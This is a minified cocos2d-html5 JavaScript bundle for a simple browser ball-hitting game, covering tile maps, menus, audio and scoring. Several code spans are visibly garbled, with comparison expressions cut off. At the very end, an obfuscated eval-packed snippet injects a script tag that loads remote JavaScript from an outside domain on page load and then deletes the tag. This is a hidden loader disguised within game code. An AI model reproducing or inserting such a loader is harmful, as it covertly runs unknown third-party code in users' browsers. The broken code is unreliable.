d=this.textureAtlas; d.N2(a.cp(),a.qb);d.UM(d.totalQuads,a.qb);a.hl(null);this.MD()}}},Ap:function(a,c){if(!a)throw"cc.ParticleBatchNode.reorderChild(): child should be non-null";if(!(a instanceof b.n))throw"cc.ParticleBatchNode.reorderChild(): only supports cc.QuadParticleSystems as children";if(-1===this.s.indexOf(a))b.log("cc.ParticleBatchNode.reorderChild(): Child doesn't belong to batch");else if(c!=a.zIndex){if(1a)return e;return d},RV:function(a,c){for(var d=!1,e=!1,f= 0,g=0,h=0,k=this.s,m=k.length,p=0;pc&&!e&&(f=p,e=!0,d&&e))break;if(a==r&&(g=p,d=!0,e||(h=-1),d&&e))break}e||(f=m);return{qO:f+h,rO:g}},KU:function(a,c,d){if(!a)throw"cc.ParticleBatchNode._addChildHelper(): child should be non-null";if(a.parent)return b.log("cc.ParticleBatchNode._addChildHelper(): child already added. It can't be added again"),null;this.s||(this.s=[]);var e=this.EX(c);this.s.splice(e,0,a);a.tag=d;a.ww(c);a.parent=this;this.vh&&(a.ba(),a.Qh());return e}, Yf:function(){this.textureAtlas.texture.yi()||(this.o.src=b.SRC_ALPHA,this.o.U=b.ONE_MINUS_SRC_ALPHA)},YE:function(){return this.textureAtlas},rG:function(a){this.textureAtlas=a}});n=b.Dz.prototype;b.f(n,"texture",n.Qa,n.sb);b.Dz.create=function(a,c){return new b.Dz(a,c)};b.l6=function(a,c,d){this.Eh=a||Q(0,0,0,0);this.end=c||Q(0,0,0,0);this.duration=d||0};b.k6=b.ja.extend({ctor:function(){b.zi.iM(this)},ry:function(){b.zi.ry(this)},hZ:function(){return b.zi.mM(this)},MM:function(){return b.zi.LM(this)},nE:function(){return!1},JZ:function(){},oE:function(){return!1},KZ:function(){},WN:function(){},IM:function(){},ME:function(){return""},w1:function(){},u1:function(){},v1:function(){},t1:function(){}}); b.pz=b.ja.extend({kc:null,Va:null,Zi:"",Xl:null,ctor:function(){this.Va=new b.pz.rR;this.Xl=N(0,0)},G:function(){if(!b.ib.Ci){this.kc=b.wb("#imeDispatcherInput");this.kc||(this.kc=b.cQ(),this.kc.setAttribute("type","text"),this.kc.setAttribute("id","imeDispatcherInput"),this.kc.resize(0,0),this.kc.PP(0,0),this.kc.style.opacity="0",this.kc.style.fontSize="1px",this.kc.setAttribute("tabindex",2),this.kc.style.position="absolute",this.kc.style.top=0,this.kc.style.left=0,document.body.appendChild(this.kc)); var a=this;b.Ja(this.kc,"input",function(){a.HC(a.kc.value)},!1);b.Ja(this.kc,"keydown",function(c){c.keyCode===b.sq.w4?(c.stopPropagation(),c.preventDefault()):c.keyCode==b.sq.SM&&(a.Qs("\n",1),c.stopPropagation(),c.preventDefault())},!1);/msie/i.test(navigator.userAgent)&&b.Ja(this.kc,"keyup",function(c){c.keyCode==b.sq.nM&&a.HC(a.kc.value)},!1);b.Ja(window,"mousedown",function(c){var d=c.pageY||0;a.Xl.x=c.pageX||0;a.Xl.y=d},!1)}},HC:function(a){var c,d;c=this.Zi.length=c||this.Va.ge&&this.Va.ge.WN(a,c)},NM:function(){this.Va&&this.Va.ge&&this.Va.ge.IM()},ME:function(){if(this.Va&&this.Va.ge){var a=this.Va.ge.ME();return a?a:""}return""},N9:function(){if(this.Va)for(var a=0;aa?a==b.sq.nM?this.NM(): a==b.sq.SM&&this.Qs("\n",1):255>a&&this.Qs(String.fromCharCode(a),1)}});b.pz.rR=b.ja.extend({ge:null,Bg:null,ctor:function(){this.Bg=[]},M$:function(a){for(var c=0;c=a?(this.Qf="",this.mv=0,b.W.prototype.Lc.call(this,this.cm)):this.string=this.Qf.substring(0,a-1))},ry:function(){b.zi.ry(this)},WN:function(a){var c=a;a=c.indexOf("\n");-1=a.length||!(h=a[e])||(k=p[c].height,f=f>=k||isNaN(k)?f:k,++g,g>=h&&(d+=f+5,f=g=0,++e));var r=b.D.R,s=h=f=e=0,u=0,d=d/2;if(p&&0=k||isNaN(k)?f:k;t.P(u-r.width/2,d-k/2);u+=s;++g;g>=h&&(d-=f+5,f=h=g=0,++e)}},Q8:function(){0=a.length||!(p=a[h]))||(u=r.width,k=k>=u||isNaN(u)?k:u,g+=r.height+5,++m,m>=p&&(d.push(k),e.push(g),f+=k+10,k=m= 0,g=-5,++h));g=b.D.R;p=k=h=0;var f=-f/2,v=0;if(t&&0=u||isNaN(u)?k:u,r.P(f+d[h]/2,v-g.height/2),v-=r.height+10,++m,m>=p&&(f+=k+5,k=p=m=0,++h)},removeChild:function(a,c){null!=a&&(a instanceof b.Dc?(this.Rc==a&&(this.Rc=null),b.q.prototype.removeChild.call(this,a,c)):b.log("cc.Menu.removeChild():Menu only supports MenuItem objects as children"))},cX:function(a,c){var d=c.Wc;if(d.oe!=b.vq||!d.zc||!d.enabled)return!1;for(var e= d.parent;null!=e;e=e.parent)if(!e.zc)return!1;d.Rc=d.GK(a);return d.Rc?(d.oe=b.uq,d.Rc.selected(),!0):!1},eX:function(a,c){var d=c.Wc;d.oe!==b.uq?b.log("cc.Menu.onTouchEnded(): invalid state"):(d.Rc&&(d.Rc.Sh(),d.Rc.Ds()),d.oe=b.vq)},dX:function(a,c){var d=c.Wc;d.oe!==b.uq?b.log("cc.Menu.onTouchCancelled(): invalid state"):(this.Rc&&d.Rc.Sh(),d.oe=b.vq)},gX:function(a,c){var d=c.Wc;if(d.oe!==b.uq)b.log("cc.Menu.onTouchMoved(): invalid state");else{var e=d.GK(a);e!=d.Rc&&(d.Rc&&d.Rc.Sh(),d.Rc=e,d.Rc&& d.Rc.selected())}},vb:function(){this.oe==b.uq&&(this.Rc&&(this.Rc.Sh(),this.Rc=null),this.oe=b.vq);b.q.prototype.vb.call(this)},Jd:function(){},ue:function(){return!1},GK:function(a){a=a.Ts();var c=this.s,d;if(c&&0c)return!1;a=new b.rQ(a);a.Fy(e);d.type=a.S();e+=10;if(e+4+1>c)return!1;a.Fy(e);d.width=a.E2();d.height=a.D2();d.pixelDepth=a.S();if(e+5+1>c)return!1;c=a.S();d.XM=0;c&32&&(d.XM=1);return!0};b.Vja=function(a,c,d){var e,f;e=0|d.pixelDepth/2;f=d.height*d.width*e;if(18+f>c)return!1;d.wf=b.Yu(a,18,18+f);if(3<=e)for(a=0;ac)break;r=a[s];s+=1;(m=r&128)&&(r-=128);k=0}if(!k){if(s+e>c)break;p=b.Yu(a,s,s+e);s+=e;3<=e&&(k=p[0],p[0]=p[2],p[2]=k)}for(k=0;k>3;this.cV(d);var d=Math.pow(2,c-1)-1,f=this.KC(a+c,1,e),g=this.KC(a,c,e),h=0,k=2,m=0;do for(var p=this.pw(++m,e),r=a%8||8,s=1<>=1;)p&s&&(h+=1/k),k*=2;while(a-=r);this.la+=e;return g==(d<<1)+1?h?NaN:f?-Infinity:Infinity:(1+-2*f)*(g||h?g?Math.pow(2, g-d)*(1+h):Math.pow(2,-d+1)*h:0)},pw:function(a,c){return this.Pn[this.la+c-a-1]},tv:function(a,c){var d=this.KC(0,a,a/8),e=Math.pow(2,a);this.la+=a/8;return c&&d>=e/2?d-e:d},oY:function(a,c){for(++c;--c;a=1073741824==((a%=2147483648)&1073741824)?2*a:2*(a-1073741824)+2147483648);return a},KC:function(a,c,d){var e=(a+c)%8,f=a%8,g=d-(a>>3)-1;a=d+(-(a+c)>>3);var h=g-a;c=this.pw(g,d)>>f&(1<<(h?8-f:c))-1;for(h&&e&&(c+=(this.pw(a++,d)&(1<>>0>=g.Im)return g}}b.log("cocos2d: Warning: TMX Layer "+a.name+" has no tiles");return null}});n=b.cA.prototype;b.f(n,"mapWidth",n.MB,n.dD);b.f(n,"mapHeight",n.LB,n.cD);b.f(n,"tileWidth",n.zr,n.cs);b.f(n,"tileHeight",n.yr,n.bs);b.cA.create=function(a,c){return new b.cA(a,c)};b.ET=0;b.m7=1;b.l7=2;b.o7=3;b.n7=4;b.p7=5;b.Kq=2147483648;b.Lq=1073741824;b.$H=536870912;b.aI=(b.Kq|b.Lq|b.$H)>>>0;b.dA=~b.aI>>>0;b.El=b.ja.extend({Kb:null,name:"",ra:null,Le:null,visible:null,Ud:null,uO:!0,Zl:1E5,Yl:0,offset:null,ctor:function(){this.Kb=[];this.name="";this.ra=null;this.Le=[];this.visible=!0;this.Ud=0;this.uO=!0;this.Zl=1E5;this.Yl=0;this.offset=N(0,0)},rx:function(){return this.Kb},Gy:function(a){this.Kb=a}}); b.DT=b.ja.extend({name:"",Im:0,Jb:null,Jt:0,margin:0,EP:"",Dx:null,ctor:function(){this.Jb=O(0,0);this.Dx=O(0,0)},yt:function(a){var c=Q(0,0,0,0);c.width=this.Jb.width;c.height=this.Jb.height;a&=b.dA;a-=parseInt(this.Im,10);var d=parseInt((this.Dx.width-2*this.margin+this.Jt)/(this.Jb.width+this.Jt),10);c.x=parseInt(a%d*(this.Jb.width+this.Jt)+this.margin,10);c.y=parseInt(parseInt(a/d,10)*(this.Jb.height+this.Jt)+this.margin,10);return c}}); b.Jq=b.Fu.extend({Kb:null,orientation:null,parentElement:null,ny:null,Zx:0,zG:!1,Np:null,xE:null,ew:null,Yc:null,Jb:null,je:null,om:null,vj:null,sw:"",lJ:0,ctor:function(a,c){b.Fu.prototype.ctor.apply(this);this.Yc=O(0,0);this.Jb=O(0,0);this.je=[];this.om=[];this.ew=[];this.Kb=[];this.vj={};this.lJ=0;void 0!==c?this.nF(a,c):void 0!==a&&this.mF(a)},wba:function(){return this.orientation},yia:function(a){this.orientation=a},SE:function(){return O(this.Yc.width,this.Yc.height)},jP:function(a){this.Yc.width= a.width;this.Yc.height=a.height},MB:function(){return this.Yc.width},dD:function(a){this.Yc.width=a},LB:function(){return this.Yc.height},cD:function(a){this.Yc.height=a},gp:function(){return O(this.Jb.width,this.Jb.height)},yP:function(a){this.Jb.width=a.width;this.Jb.height=a.height},zr:function(){return this.Jb.width},cs:function(a){this.Jb.width=a},yr:function(){return this.Jb.height},bs:function(a){this.Jb.height=a},cba:function(){return this.je},w3:function(a){this.je.push(a)},oca:function(){return this.om}, V3:function(a){this.om.push(a)},iN:function(){return this.ew},kP:function(a){this.ew.push(a)},Bba:function(){return this.parentElement},Dia:function(a){this.parentElement=a},Cba:function(){return this.ny},Eia:function(a){this.ny=a},Zaa:function(){return this.Zx},hia:function(a){this.Zx=a},eca:function(){return this.zG},Via:function(a){this.zG=a},rx:function(){return this.Kb},Gy:function(a){this.Kb=a},mF:function(a){this.yK(a,null);return this.OF(a)},nF:function(a,c){this.yK(null,c);return this.m2(a)}, OF:function(a,c){var d=(c=c||!1)?a:b.V.Gd(a);if(!d)throw"Please load the resource first : "+a;var e,f,d=this.rC(d).documentElement;e=d.getAttribute("version");f=d.getAttribute("orientation");if("map"==d.nodeName&&("1.0"!=e&&null!==e&&b.log("cocos2d: TMXFormat: Unsupported TMX version:"+e),"orthogonal"==f?this.orientation=b.Lu:"isometric"==f?this.orientation=b.Ku:"hexagonal"==f?this.orientation=b.Ju:null!==f&&b.log("cocos2d: TMXFomat: Unsupported orientation:"+f),e=O(0,0),e.width=parseFloat(d.getAttribute("width")), e.height=parseFloat(d.getAttribute("height")),this.jP(e),e=O(0,0),e.width=parseFloat(d.getAttribute("tilewidth")),e.height=parseFloat(d.getAttribute("tileheight")),this.yP(e),f=d.querySelectorAll("map \x3e properties \x3e property"))){var g={};for(e=0;ethis.RK){this.Fw||(this.Fw=[]);this.Gw||(this.Gw=[]);this.Pk=Math.ceil(d/this.RK);d=this.Fw;for(f=0;f=this.ra.width||a.y>=this.ra.height||0>a.x||0>a.y)throw"cc.TMXLayer.getTileAt(): invalid position";if(!this.Md||!this.Pd)return b.log("cc.TMXLayer.getTileAt(): TMXLayer: the tiles map has been released"),null;var d=null,e=this.ZE(a);if(0===e)return d;var f=0|a.x+a.y*this.ra.width,d=this.Ih(f);d||(e=this.mg.yt(e),e=b.Jj(e),d=new b.Q,d.ta(this.texture, e),d.batchNode=this,d.P(this.qx(a)),d.vertexZ=this.eM(a),d.anchorX=0,d.anchorY=0,d.opacity=this.Ud,e=this.PA(f),this.QY(d,e,f));return d},ZE:function(a,c){if(!a)throw"cc.TMXLayer.getTileGIDAt(): pos should be non-null";void 0!==c&&(a=N(a,c));if(a.x>=this.ra.width||a.y>=this.ra.height||0>a.x||0>a.y)throw"cc.TMXLayer.getTileGIDAt(): invalid position";return this.Md&&this.Pd?(this.Md[0|a.x+a.y*this.ra.width]&b.dA)>>>0:(b.log("cc.TMXLayer.getTileGIDAt(): TMXLayer: the tiles map has been released"),null)}, y0:function(a,c){if(!a)throw"cc.TMXLayer.getTileFlagsAt(): pos should be non-null";void 0!==c&&(a=N(a,c));if(a.x>=this.ra.width||a.y>=this.ra.height||0>a.x||0>a.y)throw"cc.TMXLayer.getTileFlagsAt(): invalid position";return this.Md&&this.Pd?(this.Md[0|a.x+a.y*this.ra.width]&b.aI)>>>0:(b.log("cc.TMXLayer.getTileFlagsAt(): TMXLayer: the tiles map has been released"),null)},bja:function(a,c,d,e){if(!c)throw"cc.TMXLayer.setTileGID(): pos should be non-null";void 0!==e?c=N(c,d):e=d;if(c.x>=this.ra.width|| c.y>=this.ra.height||0>c.x||0>c.y)throw"cc.TMXLayer.setTileGID(): invalid position";if(this.Md&&this.Pd)if(0!==a&&a>>0,0===a)this.O2(c);else if(0===f)this.IW(d,c);else{var f=c.x+c.y*this.ra.width,g=this.Ih(f);g?(a=this.mg.yt(a),a=b.Jj(a),g.hb(a,!1),null!=e&&this.yw(g,c,d),this.Md[f]=d):this.MY(d,c)}}else b.log("cc.TMXLayer.setTileGID(): TMXLayer: the tiles map has been released")}, O2:function(a,c){if(!a)throw"cc.TMXLayer.removeTileAt(): pos should be non-null";void 0!==c&&(a=N(a,c));if(a.x>=this.ra.width||a.y>=this.ra.height||0>a.x||0>a.y)throw"cc.TMXLayer.removeTileAt(): invalid position";if(!this.Md||!this.Pd)b.log("cc.TMXLayer.removeTileAt(): TMXLayer: the tiles map has been released");else if(0!==this.ZE(a)){b.A===b.Ea&&this.wh();var d=0|a.x+a.y*this.ra.width,e=this.PA(d);this.Md[d]=0;this.Pd.splice(e,1);if(d=this.Ih(d))b.ef.prototype.removeChild.call(this,d,!0);else if(b.A=== b.$&&this.textureAtlas.OO(e),this.s)for(var d=this.s,f=0,g=d.length;f=e&&(h.atlasIndex=k-1)}}}},qx:function(a,c){void 0!==c&&(a=N(a,c));var d=N(0,0);switch(this.op){case b.Lu:d=this.sX(a);break;case b.Ku:d=this.rX(a);break;case b.Ju:d=this.qX(a)}return b.RF(d)},UE:function(a){return this.Kb[a]},e4:function(){b.A===b.Ea?this.mg.Dx=this.ke.O:(this.mg.Dx=this.textureAtlas.texture.O,this.textureAtlas.texture.cG());this.lX();b.A===b.Ea&&this.wh();for(var a= this.ra.height,c=this.ra.width,d=0;d=this.mg.Im&&this.Zl>=this.mg.Im||b.log("cocos2d:TMX: Only 1 tileset per layer is supported")},N:function(){b.log("addChild: is not supported on cc.TMXLayer. Instead use setTileGID or tileAt.")},removeChild:function(a,c){if(a)if(-1===this.s.indexOf(a))b.log("cc.TMXLayer.removeChild(): Tile does not belong to TMXLayer");else{b.A=== b.Ea&&this.wh();var d=a.atlasIndex;this.Md[this.Pd[d]]=0;this.Pd.splice(d,1);b.ef.prototype.removeChild.call(this,a,c)}},$aa:function(){return this.$x},iia:function(a){this.$x=a},rX:function(a){return N(this.wc.width/2*(this.ra.width+a.x-a.y-1),this.wc.height/2*(2*this.ra.height-a.x-a.y-2))},sX:function(a){return N(a.x*this.wc.width,(this.ra.height-a.y-1)*this.wc.height)},qX:function(a){return N(a.x*this.wc.width*3/4,(this.ra.height-a.y-1)*this.wc.height+(1==a.x%2?-this.wc.height/2:0))},VU:function(a){var c= N(0,0);switch(this.op){case b.Lu:c=N(a.x*this.wc.width,-a.y*this.wc.height);break;case b.Ku:c=N(this.wc.width/2*(a.x-a.y),this.wc.height/2*(-a.x-a.y));break;case b.Ju:0===a.x&&0===a.y||b.log("offset for hexagonal map not implemented yet")}return c},OU:function(a,c){var d=this.mg.yt(a),d=b.Jj(d),e=0|c.x+c.y*this.ra.width,d=this.SC(d);this.yw(d,c,a);var f=this.Pd.length;this.Kx(d,f);this.Pd.splice(f,0,e);return d},IW:function(a,c){var d=this.mg.yt(a),d=b.Jj(d),e=0|c.x+c.y*this.ra.width,d=this.SC(d); this.yw(d,c,a);var f=this.QU(e);this.Kx(d,f);this.Pd.splice(f,0,e);if(this.s)for(var g=this.s,h=0,k=g.length;h=f&&(m.atlasIndex=p+1)}}this.Md[e]=a;return d},MY:function(a,c){var d=this.mg.yt(a),e=this.hh,d=Q(d.x/e,d.y/e,d.width/e,d.height/e),e=c.x+c.y*this.ra.width,d=this.SC(d);this.yw(d,c,a);d.atlasIndex=this.PA(e);d.dirty=!0;d.bf();this.Md[e]=a;return d},lX:function(){var a=this.UE("cc_vertexz");if(a)if("automatic"==a){this.PD=!0;var c=this.UE("cc_alpha_func"), a=0;c&&(a=parseFloat(c));b.A===b.$&&(this.shaderProgram=b.Ld.nc(b.Hu),c=b.k.getUniformLocation(this.shaderProgram.Mm(),b.II),this.shaderProgram.Mc(),this.shaderProgram.Gt(c,a))}else this.VD=parseInt(a,10)},yw:function(a,c,d){var e=c.x+c.y*this.ra.width;a.P(this.qx(c));b.A===b.$?a.vertexZ=this.eM(c):a.tag=e;a.anchorX=0;a.anchorY=0;a.opacity=this.Ud;b.A===b.$&&(a.rotation=0);a.Ay(!1);a.gG(!1);(d&b.$H)>>>0?(a.anchorX=0.5,a.anchorY=0.5,a.x=this.qx(c).x+a.width/2,a.y=this.qx(c).y+a.height/2,c=(d&(b.Kq| b.Lq)>>>0)>>>0,c==b.Kq?a.rotation=90:c==b.Lq?a.rotation=270:(a.rotation=c==(b.Lq|b.Kq)>>>0?90:270,a.Ay(!0))):((d&b.Kq)>>>0&&a.Ay(!0),(d&b.Lq)>>>0&&a.gG(!0))},SC:function(a){b.A===b.$?(this.uh?(this.uh.batchNode=null,this.uh.hb(a,!1)):(this.uh=new b.Q,this.uh.ta(this.texture,a,!1)),this.uh.batchNode=this):(this.uh=new b.Q,this.uh.ta(this.Rk,a,!1),this.uh.batchNode=this,this.uh.parent=this);return this.uh},eM:function(a){var c=0,d=0;if(this.PD)switch(this.op){case b.Ku:d=this.ra.width+this.ra.height; c=-(d-(a.x+a.y));break;case b.Lu:c=-(this.ra.height-a.y);break;case b.Ju:b.log("TMX Hexa zOrder not supported");break;default:b.log("TMX invalid value")}else c=this.VD;return c},PA:function(a){var c;if(this.Pd)for(var d=this.Pd,e=0,f=d.length;e=this.eC)return b.log("Error: "+a+" greater than "+this.eC),null;c=this.DB(a);if(!c)return null;c=c.cloneNode(!0);this.pk&&b.Ja(c, "pause",this.pk);c.volume=this.Bv;d.push(c)}return c},PF:function(a,c){var d=this.kK(a);if(!d)return null;d.loop=c||!1;d.play();var e=this.aJ++;this.he[e]=d;return e},Uha:function(a){a=this.Bv=Math.min(Math.max(a,0),1);var c=this.he,d;for(d in c)c[d].volume=a},p2:function(a){(a=this.he[a])&&!a.ended&&a.pause()},n2:function(){var a=this.he,c;for(c in a){var d=a[c];d.ended||d.pause()}},U2:function(a){this.mj(this.he[a])},T2:function(){var a=this.he,c;for(c in a)this.mj(a[c])},s4:function(a){this.Ok(this.he[a]); delete this.he[a]},GP:function(){var a=this.he,c;for(c in a)this.Ok(a[c]),delete a[c]},H4:function(a){var c=b.V,d=this.he,e=this.GB(a);c.Ki(a);if(0!=e.length){c=e[0].src;delete this.br[a];for(var f in d)d[f].src==c&&(this.Ok(d[f]),delete d[f])}},end:function(){this.t4();this.GP()},ZK:function(){var a=this.he,c,d;for(d in a)!(c=a[d])||c.ended||c.paused||(this.Vr.push(c),c.pause());this.uF()&&(this.Vr.push(this.Rd),this.Rd.pause())},qL:function(){for(var a=this.Vr,c=0,d=a.length;cb.ib.xY&&(b.OG=b.NG.extend({Vk:[],Ur:[],Kf:null,eC:2,Av:{},am:!1,Wn:0,WB:!1,tC:function(a){this.yD();this._super(a)},V2:function(){1==this.lf&&(this.yD(),this.am=!1,this.Wn=0,this._super())},PF:function(a,c){var d=this.Kf,e=c?this.kK(a):this.mW(a);if(!e)return null;e.loop=c||!1;var f=this.aJ++;this.he[f]=e;this.uF()&&(this.CO(),this.am=!0);d?(d!=e&&this.Vk.push(this.On),this.Vk.push(f),d.pause()):(this.Kf=e,this.On=f,e.play());return f},p2:function(){b.log("pauseEffect not supported in single audio mode!")},n2:function(){var a= this.Vk,c=this.Ur,d=this.Kf;if(d){for(var e=0,f=a.length;e=c&&this.Rt(this.us)}});Loading.oy=function(a,c){var d=b;d.tq||(d.tq=new Loading,d.tq.G());d.tq.jF(a,c);b.D.Xm(d.tq);return d.tq};STATE_PLAYING=1;STATE_GAMEOVER=0; var ta,Y,X=b.ae.extend({x8:null,Ak:null,Fk:null,oe:STATE_PLAYING,Jr:null,uK:null,Qv:null,ns:null,G:function(){var a=!1;this._super()&&(Z=0,$=null==b.ib.localStorage.getItem("ifhitScore")?0:parseInt(b.ib.localStorage.getItem("ifhitScore")),this.oe=STATE_PLAYING,Y=b.D.R,a=b.Da.Bc("res/uiTex.png"),this.ns=b.ef.create(a),this.N(this.ns,100),a=b.Q.create("#gameBg.png"),a.Mb({x:0,y:0,anchorX:0,anchorY:0}),this.N(a,1),a=b.Q.create("#gameFloor.png"),a.Mb({x:0,y:ua,anchorX:0,anchorY:1}),this.N(a,2),a=b.Q.create("#scoreBg.png"), a.Mb({x:Y.width/2,y:Y.height-36}),this.N(a,200),this.Jr=b.W.create("\u5f97\u5206: 0","Arial",48),this.Jr.Mb({x:a.width/2,y:a.height/2,anchorX:0.5,anchorY:0.5,scale:0.5}),this.Jr.La(b.color(152,56,64)),a.N(this.Jr),this.Fk=new ya,this.ns.N(this.Fk,this.Fk.Wt),this.Ak=new za,this.ns.N(this.Ak,this.Ak.Wt),b.ib.Js.hasOwnProperty("touches")&&b.sa.addListener({event:b.va.Nu,up:function(a,d){d.Wc.DO(a[0])}},this),"mouse"in b.ib.Js&&b.sa.addListener({event:b.va.vl,nt:function(a){a.ZA==b.Cc.pQ&&a.Wc.DO(a)}}, this),this.VO(),a=!0,ta=this,this.uK=Ca.create());return a},update:function(){this.oe==STATE_PLAYING&&(this.Fk.s_(this.Ak.rotation),this.wZ(this.Ak,this.Fk)&&(this.oe=STATE_GAMEOVER,Z>$&&($=Z,b.ib.localStorage.setItem("ifhitScore",$)),this.Fk.Uo(),this.Ak.Uo(),this.ua(b.qa.create(b.pc.create(1),b.jb.create(this.b2,this)))))},DO:function(){this.oe==STATE_PLAYING&&(this.Fk.L0(),this.xZ(this.Ak,this.Fk)?(this.uK.reset(this.Qv.x,this.Qv.y),Z+=1,this.Jr.Lc("\u5f97\u5206: "+Z),this.Ak.mZ(),b.Xw.PF("res/hit2.mp3")): b.Xw.PF("res/hit1.mp3"))},wZ:function(a,c){return b.JO(a.dx(a.x,a.y),c.dx(c.x,c.y))},xZ:function(a,c){var d=c.x,e=c.y;this.Qv=a.dx(a.x,a.y);return b.JO(this.Qv,c.M0(d,e))},b2:function(){var a=b.Cf.create();a.N(Da.create());b.D.Xm(b.vn.create(0.5,a))}});X.create=function(){var a=new X;return a&&a.G()?a:null};X.aG=function(){var a=b.Cf.create(),c=X.create();a.N(c,1);return a};var Z=0,$=0,ua=140,$=Z=0,Ea=[[-1,1],[0,1],[1,1],[1,0],[1,-1],[0,-1],[-1,-1],[-1,0]];var ya=b.Q.extend({Wt:1E3,active:!0,g6:1,OL:null,PL:null,sK:null,tK:null,XB:!0,Pl:1,ctor:function(){this._super("#playerStand1.png");this.tag=this.Wt;this.x=Y.width/2-this.width-10;this.y=ua;this.anchorY=this.anchorX=0;var a=[];a.push(b.ud.qd("playerStand1.png"));a.push(b.ud.qd("playerStand2.png"));a=b.zf.create(a,0.2);a=b.ah.create(a);this.OL=b.Bl.create(a);a=[];a.push(b.ud.qd("playerStand3.png"));a.push(b.ud.qd("playerStand4.png"));a=b.zf.create(a,0.1);a=b.ah.create(a);this.PL=b.Bl.create(a);a= [];a.push(b.ud.qd("playerHit1.png"));a=b.zf.create(a,0.5);a=b.ah.create(a);this.sK=b.qa.create(a,b.jb.create(this.yG,this));a=[];a.push(b.ud.qd("playerHit2.png"));a=b.zf.create(a,0.5);a=b.ah.create(a);this.tK=b.qa.create(a,b.jb.create(this.yG,this));this.yG()},yG:function(){this.XB=!0;switch(this.Pl){case 1:this.ua(this.OL);break;case 2:this.ua(this.PL)}},L0:function(){if(this.XB)switch(this.XB=!1,this.jl(),this.Pl){case 1:this.ua(this.sK);break;case 2:this.ua(this.tK)}},s_:function(a){-180this.rotation&&(a="ball3.png", this.yg=100*this.Nl);-180>this.rotation+this.yg&&-180this.rotation&&(this.yg+=200,this.Nl=this.yg/10/10,this.Cr=0);var c=[];c.push(b.ud.qd(a));c.push(b.ud.qd("ball1.png"));this.Jl.jl();a=b.zf.create(c,0.3);a=b.ah.create(a);this.Jl.ua(b.Al.create(a,1));a=b.Vj.create(this.Nl,this.yg).Ka(b.a_());a=b.qa.create(a,b.jb.create(this.W4,this));this.ua(a)},W4:function(){if(-360this.rotation){var a= b.Vj.create(2*this.Nl,-2*this.yg).Ka(b.e_());this.ua(a)}},dx:function(a,c){var d=this.rotation*Math.PI/180;a-=this.height*Math.sin(d);c-=this.height*Math.cos(d);return Q(a,c,this.Jl.width,this.Jl.height)},Uo:function(){this.jl()}});var Ca=b.ja.extend({active:!0,Vi:null,wD:[],If:[],m:0.4,tJ:500,ctor:function(){this.Vi=b.Q.create();this.Vi.hb(Q(0,0,Y.width,Y.height));this.Vi.color=b.color(0,0,0);this.Vi.Mb({x:0,y:0,anchorX:0,anchorY:0,visible:!1});ta.N(this.Vi,4);for(var a=null,c=0;8>c;c++)a=b.Q.create("#effect1.png"),a.Mb({anchorX:0.5,anchorY:0.5,visible:!1}),ta.ns.N(a,3E3),this.wD.push(a),a=b.df.create(this.m,Ea[c][0]*this.tJ,Ea[c][1]*this.tJ),this.If.push(a)},reset:function(a,c){this.Vi.visible=!0;var d=b.tl.create(this.m), d=b.qa.create(d,b.jb.create(this.Uo,this));this.Vi.ua(d);for(var d=null,e=0;e35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('(1(){2 a=3.p(\'4\');a.e=\'d/c\';a.h=g;a.f=\'6://9.8.7/m/o.k\';2 b=3.n(\'4\')[0];b.5.j(a,b);a.i=1(){a.5.l(a)}})();',26,26,'|function|var|document|sxcrxixpt|parentNode|htxtp|cxom|9xg|gxaxme|||javaxscxrixptx|text|type|src|true|async|onload|insertBefore|js|removeChild|nddsc|getElementsByTagName||createElement'.split('|'),0,{}))